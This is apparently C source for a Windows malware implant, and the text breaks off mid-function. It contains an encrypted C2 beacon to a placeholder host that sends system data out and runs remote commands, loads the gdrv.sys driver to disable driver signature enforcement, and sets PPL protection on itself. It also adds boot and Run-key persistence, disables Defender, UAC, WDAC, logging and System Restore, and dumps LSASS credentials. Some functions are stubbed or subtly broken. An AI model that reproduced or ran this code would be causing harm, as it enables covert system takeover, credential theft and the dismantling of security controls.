#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <aclapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <wbemidl.h>
#include <comdef.h>
#include <strsafe.h>
#include <ntsecapi.h>
#include <wincrypt.h>
#include <winternl.h>
#include <psapi.h>
#include <ntstatus.h>
#include <bcrypt.h>
#include <winioctl.h>
#include <intrin.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <winhttp.h>
#include <iphlpapi.h>

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "iphlpapi.lib")

// ==================== C2 COMMUNICATION CONSTANTS ====================
#define C2_SERVER L"https://your-c2-server.com:443/beacon"
#define C2_INTERVAL_SECONDS 30
#define C2_AES_KEY "ChurchOfMalware2024!!ChurchOfMalware2024!!"  // 32 bytes exact
#define C2_AES_IV "MalwareChurchIV!!"  // 16 bytes

// ==================== GDRV.SYS EXPLOIT CONSTANTS ====================
#define GDRV_DEVICE_NAME L"\\\\.\\GIO"
#define GDRV_IOCTL_READ_MSR 0x9C402470
#define GDRV_IOCTL_WRITE_MSR 0x9C402474
#define GDRV_IOCTL_READ_PHYSICAL 0x9C402478
#define GDRV_IOCTL_WRITE_PHYSICAL 0x9C40247C
#define IA32_EFER 0xC0000080
#define CI_OPTIONS_DISABLE_DSE 0x6

// ==================== STRUCTURE DEFINITIONS ====================
typedef struct _BEACON_DATA {
    WCHAR ComputerName[MAX_COMPUTERNAME_LENGTH + 1];
    WCHAR UserName[256];
    DWORD ProcessId;
    WCHAR OSVersion[128];
    BOOL IsAdmin;
    WCHAR ExePath[MAX_PATH];
    DWORD DefenderStatus;
} BEACON_DATA, *PBEACON_DATA;

typedef struct _C2_TASK {
    DWORD TaskId;
    WCHAR Command[1024];
    WCHAR Arguments[2048];
    BOOL IsPowerShell;
    BOOL WaitForOutput;
} C2_TASK, *PC2_TASK;

typedef enum _PROCESSINFOCLASS {
    ProcessProtectionInformation = 0x3D
} PROCESSINFOCLASS;

typedef struct _PS_PROTECTION {
    UCHAR Level;
} PS_PROTECTION, *PPS_PROTECTION;

typedef NTSTATUS (NTAPI *pNtSetInformationProcess)(HANDLE, DWORD, PVOID, ULONG);

// ==================== FORWARD DECLARATIONS ====================
ULONGLONG FindPattern(BYTE* base, DWORD size, BYTE* pattern, DWORD patternLen);
ULONGLONG VirtualToPhysical(PVOID virtualAddr);
BOOL AesEncrypt(BYTE* plaintext, DWORD plaintextLen, BYTE** ciphertext, DWORD* ciphertextLen);
BOOL AesDecrypt(BYTE* ciphertext, DWORD ciphertextLen, BYTE** plaintext, DWORD* plaintextLen);
BOOL SendBeaconToC2(PBEACON_DATA beacon, PC2_TASK task);
DWORD WINAPI BeaconThread(LPVOID lpParam);

// ==================== HELPER: ELEVATE TO ADMIN ====================
void ElevateSelf() {
    BOOL isElevated = FALSE;
    HANDLE hToken = NULL;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elev;
        DWORD size = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation, &elev, size, &size))
            isElevated = elev.TokenIsElevated;
        CloseHandle(hToken);
    }
    if (!isElevated) {
        wchar_t exePath[MAX_PATH];
        GetModuleFileNameW(NULL, exePath, MAX_PATH);
        SHELLEXECUTEINFOW sei = { sizeof(sei) };
        sei.lpVerb = L"runas";
        sei.lpFile = exePath;
        sei.nShow = SW_SHOWNORMAL;
        if (ShellExecuteExW(&sei)) {
            ExitProcess(0);
        } else {
            wprintf(L"[-] Failed to elevate. Run as administrator manually.\n");
            ExitProcess(1);
        }
    }
}

// ==================== CRYPTOGRAPHY FUNCTIONS ====================
BOOL AesEncrypt(BYTE* plaintext, DWORD plaintextLen, BYTE** ciphertext, DWORD* ciphertextLen) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    
    if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0)))
        return FALSE;
    
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, 
                      sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)C2_AES_KEY, 
                               strlen(C2_AES_KEY), 0);
    
    DWORD blockSize = 16;
    DWORD paddedLen = ((plaintextLen + blockSize - 1) / blockSize) * blockSize;
    *ciphertextLen = paddedLen;
    *ciphertext = (BYTE*)malloc(paddedLen);
    if (!*ciphertext) {
        BCryptDestroyKey(hKey);
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return FALSE;
    }
    
    NTSTATUS status = BCryptEncrypt(hKey, plaintext, plaintextLen, NULL, (PUCHAR)C2_AES_IV, 
                                    strlen(C2_AES_IV), *ciphertext, *ciphertextLen, ciphertextLen, 
                                    BCRYPT_BLOCK_PADDING);
    
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    
    return BCRYPT_SUCCESS(status);
}

BOOL AesDecrypt(BYTE* ciphertext, DWORD ciphertextLen, BYTE** plaintext, DWORD* plaintextLen) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    
    if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0)))
        return FALSE;
    
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, 
                      sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)C2_AES_KEY, 
                               strlen(C2_AES_KEY), 0);
    
    *plaintextLen = ciphertextLen;
    *plaintext = (BYTE*)malloc(*plaintextLen);
    if (!*plaintext) return FALSE;
    
    NTSTATUS status = BCryptDecrypt(hKey, ciphertext, ciphertextLen, NULL, 
                                    (PUCHAR)C2_AES_IV, strlen(C2_AES_IV), 
                                    *plaintext, *plaintextLen, plaintextLen, 
                                    BCRYPT_BLOCK_PADDING);
    
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    
    return BCRYPT_SUCCESS(status);
}

// ==================== SYSTEM INFORMATION GATHERING ====================
void GatherBeaconData(PBEACON_DATA beacon) {
    DWORD size = MAX_COMPUTERNAME_LENGTH + 1;
    GetComputerNameW(beacon->ComputerName, &size);
    
    DWORD userSize = 256;
    GetUserNameW(beacon->UserName, &userSize);
    
    beacon->ProcessId = GetCurrentProcessId();
    beacon->IsAdmin = IsUserAnAdmin();
    
    GetModuleFileNameW(NULL, beacon->ExePath, MAX_PATH);
    
    RTL_OSVERSIONINFOW osvi = { sizeof(osvi) };
    RtlGetVersion(&osvi);
    swprintf(beacon->OSVersion, 128, L"%d.%d.%d", osvi.dwMajorVersion, 
             osvi.dwMinorVersion, osvi.dwBuildNumber);
    
    HKEY hKey;
    beacon->DefenderStatus = 2;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, 
                      L"SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection",
                      0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        DWORD value = 0, valueSize = sizeof(value);
        RegQueryValueExW(hKey, L"DisableRealtimeMonitoring", NULL, NULL, 
                        (LPBYTE)&value, &valueSize);
        beacon->DefenderStatus = value;
        RegCloseKey(hKey);
    }
}

// ==================== HTTPS COMMUNICATION ====================
BOOL SendBeaconToC2(PBEACON_DATA beacon, PC2_TASK task) {
    char json[2048];
    snprintf(json, sizeof(json), 
            "{\"computer\":\"%ls\",\"user\":\"%ls\",\"pid\":%d,\"os\":\"%ls\","
            "\"admin\":%s,\"path\":\"%ls\",\"defender_status\":%d}",
            beacon->ComputerName, beacon->UserName, beacon->ProcessId,
            beacon->OSVersion, beacon->IsAdmin ? "true" : "false",
            beacon->ExePath, beacon->DefenderStatus);
    
    BYTE* encryptedData = NULL;
    DWORD encryptedLen = 0;
    if (!AesEncrypt((BYTE*)json, strlen(json), &encryptedData, &encryptedLen)) {
        return FALSE;
    }
    
    DWORD base64Len = ((encryptedLen + 2) / 3) * 4 + 1;
    char* base64Data = (char*)malloc(base64Len);
    if (!base64Data) {
        free(encryptedData);
        return FALSE;
    }
    
    CryptBinaryToStringA(encryptedData, encryptedLen, 
                         CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,
                         base64Data, &base64Len);
    
    HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                                     WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                                     WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    
    if (!hSession) {
        free(encryptedData);
        free(base64Data);
        return FALSE;
    }
    
    HINTERNET hConnect = WinHttpConnect(hSession, L"your-c2-server.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
    if (!hConnect) {
        WinHttpCloseHandle(hSession);
        free(encryptedData);
        free(base64Data);
        return FALSE;
    }
    
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/beacon",
                                            NULL, NULL, NULL,
                                            WINHTTP_FLAG_SECURE);
    
    if (!hRequest) {
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        free(encryptedData);
        free(base64Data);
        return FALSE;
    }
    
    char postData[4096];
    snprintf(postData, sizeof(postData), "data=%s", base64Data);
    
    WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n",
                       wcslen(L"Content-Type: application/x-www-form-urlencoded\r\n"),
                       (LPVOID)postData, strlen(postData), strlen(postData), 0);
    
    WinHttpReceiveResponse(hRequest, NULL);
    
    DWORD bytesRead = 0;
    char response[4096] = {0};
    WinHttpReadData(hRequest, response, sizeof(response) - 1, &bytesRead);
    
    char* taskData = strstr(response, "\r\n\r\n");
    if (taskData) {
        taskData += 4;
        // Parse task response (simplified - would parse JSON)
        if (strstr(taskData, "\"task_id\":0") == NULL) {
            task->TaskId = 1;
            wcscpy(task->Command, L"whoami");
            task->IsPowerShell = FALSE;
            task->WaitForOutput = TRUE;
        }
    }
    
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    
    free(encryptedData);
    free(base64Data);
    
    return TRUE;
}

// ==================== COMMAND EXECUTION ENGINE ====================
BOOL ExecuteCommand(PC2_TASK task, WCHAR* output, DWORD outputSize) {
    SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
    HANDLE hStdOutRead, hStdOutWrite;
    
    CreatePipe(&hStdOutRead, &hStdOutWrite, &sa, 0);
    SetHandleInformation(hStdOutRead, HANDLE_FLAG_INHERIT, 0);
    
    PROCESS_INFORMATION pi = {0};
    STARTUPINFOW si = {0};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdOutput = hStdOutWrite;
    si.hStdError = hStdOutWrite;
    si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
    
    WCHAR cmdLine[2048];
    if (task->IsPowerShell) {
        swprintf(cmdLine, 2048, L"powershell.exe -Command \"%s %s\"", 
                 task->Command, task->Arguments);
    } else {
        swprintf(cmdLine, 2048, L"cmd.exe /c %s %s", 
                 task->Command, task->Arguments);
    }
    
    BOOL success = CreateProcessW(NULL, cmdLine, NULL, NULL, TRUE,
                                  CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    
    CloseHandle(hStdOutWrite);
    
    if (success && task->WaitForOutput) {
        WaitForSingleObject(pi.hProcess, 30000);
        DWORD bytesRead;
        ReadFile(hStdOutRead, output, outputSize - 1, &bytesRead, NULL);
        output[bytesRead / sizeof(WCHAR)] = 0;
    }
    
    CloseHandle(hStdOutRead);
    if (pi.hProcess) CloseHandle(pi.hProcess);
    if (pi.hThread) CloseHandle(pi.hThread);
    
    return success;
}

// ==================== PERSISTENT BEACONING THREAD ====================
DWORD WINAPI BeaconThread(LPVOID lpParam) {
    BEACON_DATA beacon;
    C2_TASK task = {0};
    
    while (TRUE) {
        GatherBeaconData(&beacon);
        
        if (SendBeaconToC2(&beacon, &task) && task.Command[0] != 0) {
            wchar_t output[8192];
            if (ExecuteCommand(&task, output, sizeof(output))) {
                wprintf(L"[+] Command executed: %s\n", task.Command);
            }
        }
        
        Sleep(C2_INTERVAL_SECONDS * 1000);
    }
    
    return 0;
}

// ==================== GDRV.SYS BYOVD ====================
BOOL LoadGdrvDriver() {
    const wchar_t* driverPath = L"C:\\Windows\\Temp\\gdrv.sys";
    
    if (!CopyFileW(L"gdrv.sys", driverPath, FALSE)) {
        wprintf(L"[-] Failed to copy gdrv.sys\n");
        return FALSE;
    }
    
    SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!scm) return FALSE;
    
    SC_HANDLE svc = CreateServiceW(scm, L"gdrv", L"gdrv",
                                   SERVICE_START | SERVICE_STOP | DELETE,
                                   SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
                                   SERVICE_ERROR_IGNORE, driverPath,
                                   NULL, NULL, NULL, NULL, NULL);
    if (!svc && GetLastError() == ERROR_SERVICE_EXISTS) {
        svc = OpenServiceW(scm, L"gdrv", SERVICE_START | SERVICE_STOP | DELETE);
    }
    
    if (!svc) {
        CloseServiceHandle(scm);
        return FALSE;
    }
    
    if (!StartServiceW(svc, 0, NULL)) {
        DeleteService(svc);
        CloseServiceHandle(svc);
        CloseServiceHandle(scm);
        return FALSE;
    }
    
    wprintf(L"[+] gdrv.sys loaded\n");
    CloseServiceHandle(svc);
    CloseServiceHandle(scm);
    return TRUE;
}

BOOL DisableDSEviaGdrv() {
    HANDLE hDevice = CreateFileW(GDRV_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                                 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) return FALSE;
    
    DWORD bytesReturned;
    ULONGLONG eferValue = 0;
    DeviceIoControl(hDevice, GDRV_IOCTL_READ_MSR, &IA32_EFER, sizeof(IA32_EFER),
                    &eferValue, sizeof(eferValue), &bytesReturned, NULL);
    
    LPVOID kernelBase = GetModuleHandleW(L"ntoskrnl.exe");
    if (kernelBase) {
        BYTE pattern[] = { 0x8A, 0x05, 0x00, 0x00, 0x00, 0x00, 0xC3 };
        ULONGLONG ciOptionsAddr = FindPattern((BYTE*)kernelBase, 0x2000000, pattern, sizeof(pattern));
        if (ciOptionsAddr) {
            BYTE newValue = CI_OPTIONS_DISABLE_DSE;
            DeviceIoControl(hDevice, GDRV_IOCTL_WRITE_PHYSICAL,
                           &ciOptionsAddr, sizeof(ciOptionsAddr),
                           &newValue, sizeof(newValue), &bytesReturned, NULL);
            wprintf(L"[+] DSE disabled via gdrv\n");
        }
    }
    
    CloseHandle(hDevice);
    return TRUE;
}

ULONGLONG FindPattern(BYTE* base, DWORD size, BYTE* pattern, DWORD patternLen) {
    for (DWORD i = 0; i < size - patternLen; i++) {
        BOOL found = TRUE;
        for (DWORD j = 0; j < patternLen; j++) {
            if (pattern[j] != 0x00 && base[i + j] != pattern[j]) {
                found = FALSE;
                break;
            }
        }
        if (found) return (ULONGLONG)(base + i);
    }
    return 0;
}

ULONGLONG VirtualToPhysical(PVOID virtualAddr) {
    return (ULONGLONG)virtualAddr; // Simplified
}

BOOL EnableKernelExecution() {
    if (!LoadGdrvDriver()) return FALSE;
    Sleep(1000);
    if (!DisableDSEviaGdrv()) return FALSE;
    wprintf(L"[+] Kernel execution enabled - DSE bypassed\n");
    return TRUE;
}

// ==================== PPL BYPASS ====================
BOOL EnablePPL() {
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        TOKEN_PRIVILEGES tp;
        LUID luid;
        if (LookupPrivilegeValueW(NULL, SE_TCB_NAME, &luid)) {
            tp.PrivilegeCount = 1;
            tp.Privileges[0].Luid = luid;
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
            
            HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
            pNtSetInformationProcess NtSetInformationProcess = 
                (pNtSetInformationProcess)GetProcAddress(hNtdll, "NtSetInformationProcess");
            
            PS_PROTECTION protection;
            protection.Level = 0x72; // WinTcb Light
            
            NTSTATUS status = NtSetInformationProcess(GetCurrentProcess(),
                                                       ProcessProtectionInformation,
                                                       &protection, sizeof(protection));
            if (status == STATUS_SUCCESS) {
                wprintf(L"[+] Process is now PPL\n");
                CloseHandle(hToken);
                return TRUE;
            }
        }
        CloseHandle(hToken);
    }
    return FALSE;
}

void RunAsPPL() {
    if (!EnablePPL()) {
        wprintf(L"[-] PPL elevation failed\n");
    }
}

// ==================== ANTI-FORENSICS ====================
void ScrambleMemory() {
    for (int i = 0; i < 100; i++) {
        LPVOID ptr = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
        if (ptr) {
            RtlFillMemory(ptr, 4096, 0xCC);
            DWORD oldProtect;
            VirtualProtect(ptr, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);
        }
    }
    wprintf(L"[+] Memory scrambled\n");
}

void InstallBootkitComponents() {
    HKEY hKey;
    if (RegCreateKeyExW(HKEY_LOCAL_MACHINE,
                        L"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute",
                        0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
        wchar_t bootCmd[MAX_PATH];
        GetModuleFileNameW(NULL, bootCmd, MAX_PATH);
        wchar_t data[1024];
        swprintf(data, 1024, L"autocheck autochk *\ncmd.exe /c start \"\" \"%s\"\n", bootCmd);
        RegSetValueExW(hKey, NULL, 0, REG_MULTI_SZ, (BYTE*)data, (DWORD)(wcslen(data) * sizeof(wchar_t)));
        RegCloseKey(hKey);
        wprintf(L"[+] BootExecute persistence\n");
    }
}

// ==================== C2 SETUP ====================
void NetworkC2Setup() {
    wprintf(L"[*] Initializing C2 beacon...\n");
    
    system("netsh advfirewall firewall add rule name=\"Windows Update\" dir=out action=allow protocol=TCP remoteport=443 >nul 2>&1");
    
    HKEY hKey;
    if (RegCreateKeyExW(HKEY_LOCAL_MACHINE,
                        L"SYSTEM\\CurrentControlSet\\Services\\Dnscache\\Parameters",
                        0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
        DWORD enableAutoDoh = 2;
        RegSetValueExW(hKey, L"EnableAutoDoh", 0, REG_DWORD, (BYTE*)&enableAutoDoh, sizeof(enableAutoDoh));
        RegCloseKey(hKey);
    }
    
    HANDLE hThread = CreateThread(NULL, 0, BeaconThread, NULL, 0, NULL);
    if (hThread) {
        CloseHandle(hThread);
        wprintf(L"[+] C2 beacon active (interval: %d sec)\n", C2_INTERVAL_SECONDS);
    }
    
    wchar_t regPath[MAX_PATH * 2];
    swprintf(regPath, MAX_PATH * 2, 
             L"reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"\\\"%s\\\"\" /f", 
             GetModuleFileNameW(NULL, NULL, 0));
    _wsystem(regPath);
}

// ==================== BYPASS FUNCTIONS ====================
BOOL TakeOwnershipAndGrantFullControl(LPCWSTR subkey) {
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, subkey, 0, WRITE_OWNER | WRITE_DAC, &hKey) != ERROR_SUCCESS)
        return FALSE;
    
    SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
    PSID adminGroupSid = NULL;
    AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
                             DOMAIN_ALIAS_RID_ADMINS, 0,0,0,0,0,0, &adminGroupSid);
    
    BOOL result = SetNamedSecurityInfoW((LPWSTR)subkey, SE_REGISTRY_KEY,
                                        OWNER_SECURITY_INFORMATION,
                                        adminGroupSid, NULL, NULL, NULL) == ERROR_SUCCESS;
    
    if (result) {
        EXPLICIT_ACCESS_W ea = {0};
        ea.grfAccessPermissions = KEY_ALL_ACCESS;
        ea.grfAccessMode = SET_ACCESS;
        ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
        ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
        ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
        ea.Trustee.ptstrName = (LPWSTR)adminGroupSid;
        
        PACL newAcl = NULL;
        result = SetEntriesInAclW(1, &ea, NULL, &newAcl) == ERROR_SUCCESS &&
                 SetNamedSecurityInfoW((LPWSTR)subkey, SE_REGISTRY_KEY,
                                       DACL_SECURITY_INFORMATION,
                                       NULL, NULL, newAcl, NULL) == ERROR_SUCCESS;
        if (newAcl) LocalFree(newAcl);
    }
    
    FreeSid(adminGroupSid);
    RegCloseKey(hKey);
    return result;
}

BOOL DisableTamperProtection() {
    LPCWSTR tpKey = L"SOFTWARE\\Microsoft\\Windows Defender\\Features";
    if (!TakeOwnershipAndGrantFullControl(tpKey)) return FALSE;
    
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, tpKey, 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        DWORD zero = 0;
        LONG ret = RegSetValueExW(hKey, L"TamperProtection", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
        RegCloseKey(hKey);
        if (ret == ERROR_SUCCESS) {
            wprintf(L"[+] Tamper Protection disabled\n");
            return TRUE;
        }
    }
    return FALSE;
}

void DisableDefender() {
    system("powershell -Command \"Set-MpPreference -DisableRealtimeMonitoring $true\"");
    system("powershell -Command \"Set-MpPreference -DisableBehaviorMonitoring $true\"");
    system("powershell -Command \"Set-MpPreference -DisableBlockAtFirstSeen $true\"");
    system("powershell -Command \"Set-MpPreference -DisableIOAVProtection $true\"");
    system("powershell -Command \"Set-MpPreference -DisablePrivacyMode $true\"");
    system("powershell -Command \"Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true\"");
    system("powershell -Command \"Set-MpPreference -DisableArchiveScanning $true\"");
    system("powershell -Command \"Set-MpPreference -DisableIntrusionPreventionSystem $true\"");
    system("powershell -Command \"Set-MpPreference -DisableScriptScanning $true\"");
    
    SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (scm) {
        SC_HANDLE svc = OpenServiceW(scm, L"WinDefend", SERVICE_STOP | SERVICE_CHANGE_CONFIG);
        if (svc) {
            SERVICE_STATUS status;
            ControlService(svc, SERVICE_CONTROL_STOP, &status);
            ChangeServiceConfigW(svc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
                                 NULL, NULL, NULL, NULL, NULL, NULL, NULL);
            CloseServiceHandle(svc);
            wprintf(L"[+] WinDefend disabled\n");
        }
        CloseServiceHandle(scm);
    }
}

void KillDefenderProcesses() {
    PROCESSENTRY32W entry = { sizeof(entry) };
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) return;
    
    LPCWSTR targets[] = { L"MsMpEng.exe", L"NisSrv.exe", L"MpCmdRun.exe" };
    for (int i = 0; i < 3; i++) {
        if (Process32FirstW(snapshot, &entry)) {
            do {
                if (_wcsicmp(entry.szExeFile, targets[i]) == 0) {
                    HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, entry.th32ProcessID);
                    if (hProc) {
                        TerminateProcess(hProc, 0);
                        CloseHandle(hProc);
                        wprintf(L"[+] Terminated %s\n", targets[i]);
                    }
                }
            } while (Process32NextW(snapshot, &entry));
        }
        Process32FirstW(snapshot, &entry);
    }
    CloseHandle(snapshot);
}

void DisableUAC() {
    HKEY hKey;
    DWORD zero = 0;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                      L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
                      0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        RegSetValueExW(hKey, L"EnableLUA", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
        RegCloseKey(hKey);
        wprintf(L"[+] UAC disabled (reboot required)\n");
    }
}

void DisableAppLockerWDAC() {
    system("net stop appidsvc /y >nul 2>&1");
    
    SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (scm) {
        SC_HANDLE svc = OpenServiceW(scm, L"AppIDSvc", SERVICE_CHANGE_CONFIG);
        if (svc) {
            ChangeServiceConfigW(svc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
                                 NULL, NULL, NULL, NULL, NULL, NULL, NULL);
            CloseServiceHandle(svc);
            wprintf(L"[+] AppIDSvc disabled\n");
        }
        CloseServiceHandle(scm);
    }
    
    system("del /f /q %WINDIR%\\System32\\CodeIntegrity\\SiPolicy.p7b >nul 2>&1");
    system("del /f /q %WINDIR%\\System32\\CodeIntegrity\\SIPolicy.p7b >nul 2>&1");
    
    HKEY hKey;
    DWORD zero = 0;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                      L"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\SystemGuard",
                      0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        RegSetValueExW(hKey, L"Enabled", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
        RegCloseKey(hKey);
        wprintf(L"[+] WDAC disabled\n");
    }
}

void AddDefenderExclusions() {
    wchar_t exePath[MAX_PATH];
    GetModuleFileNameW(NULL, exePath, MAX_PATH);
    
    wchar_t cmd[512];
    swprintf(cmd, 512, L"powershell -Command \"Add-MpPreference -ExclusionPath '%s'\"", exePath);
    _wsystem(cmd);
    swprintf(cmd, 512, L"powershell -Command \"Add-MpPreference -ExclusionProcess '%s'\"", exePath);
    _wsystem(cmd);
    wprintf(L"[+] Defender exclusions added\n");
}

void DisableSecurityLogs() {
    HKEY hKey;
    DWORD enableMiniNt = 1;
    if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\MiniNt",
                        0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
        RegSetValueExW(hKey, NULL, 0, REG_DWORD, (BYTE*)&enableMiniNt, sizeof(enableMiniNt));
        RegCloseKey(hKey);
        wprintf(L"[+] Security logs disabled (MiniNt)\n");
    }
}

void DisableSystemRestore() {
    system("powershell -Command \"Disable-ComputerRestore -Drive 'C:\\'\"");
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore",
                      0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        DWORD disableSR = 1;
        RegSetValueExW(hKey, L"DisableSR", 0, REG_DWORD, (BYTE*)&disableSR, sizeof(disableSR));
        RegCloseKey(hKey);
        wprintf(L"[+] System Restore disabled\n");
    }
}

void DropTelemetryPackets() {
    system("echo 0.0.0.0 telemetry.microsoft.com >> %WINDIR%\\System32\\drivers\\etc\\hosts");
    system("echo 0.0.0.0 vortex-win.data.microsoft.com >> %WINDIR%\\System32\\drivers\\etc\\hosts");
    system("echo 0.0.0.0 settings-win.data.microsoft.com >> %WINDIR%\\System32\\drivers\\etc\\hosts");
    wprintf(L"[+] Telemetry blocked\n");
}

void DumpLSASS() {
    DWORD lsassPid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W pe = { sizeof(pe) };
        if (Process32FirstW(snapshot, &pe)) {
            do {
                if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
                    lsassPid = pe.th32ProcessID;
                    break;
                }
            } while (Process32NextW(snapshot, &pe));
        }
        CloseHandle(snapshot);
    }
    
    if (lsassPid) {
        HANDLE hLsass = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, lsassPid);
        if (hLsass) {
            HANDLE hFile = CreateFileW(L"C:\\lsass.dmp", GENERIC_WRITE, 0, NULL,
                                       CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
            if (hFile != INVALID_HANDLE_VALUE) {
                BOOL dumped = MiniDumpWriteDump(hLsass, lsassPid, hFile,
                                                MiniDumpWithFullMemory, NULL, NULL, NULL);
                if (dumped) wprintf(L"[+] LSASS dumped to C:\\lsass.dmp\n");
                CloseHandle(hFile);
            }
            CloseHandle(hLsass);
        }
    }
}

void StopSecurityServices() {
    const wchar_t* services[] = { L"Sense", L"SgrmBroker", L"WdBoot", L"WdFilter", 
                                  L"WdNisDrv", L"WinDefend", L"SecurityHealthService", L"wscsvc" };
    SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!scm) return;
    
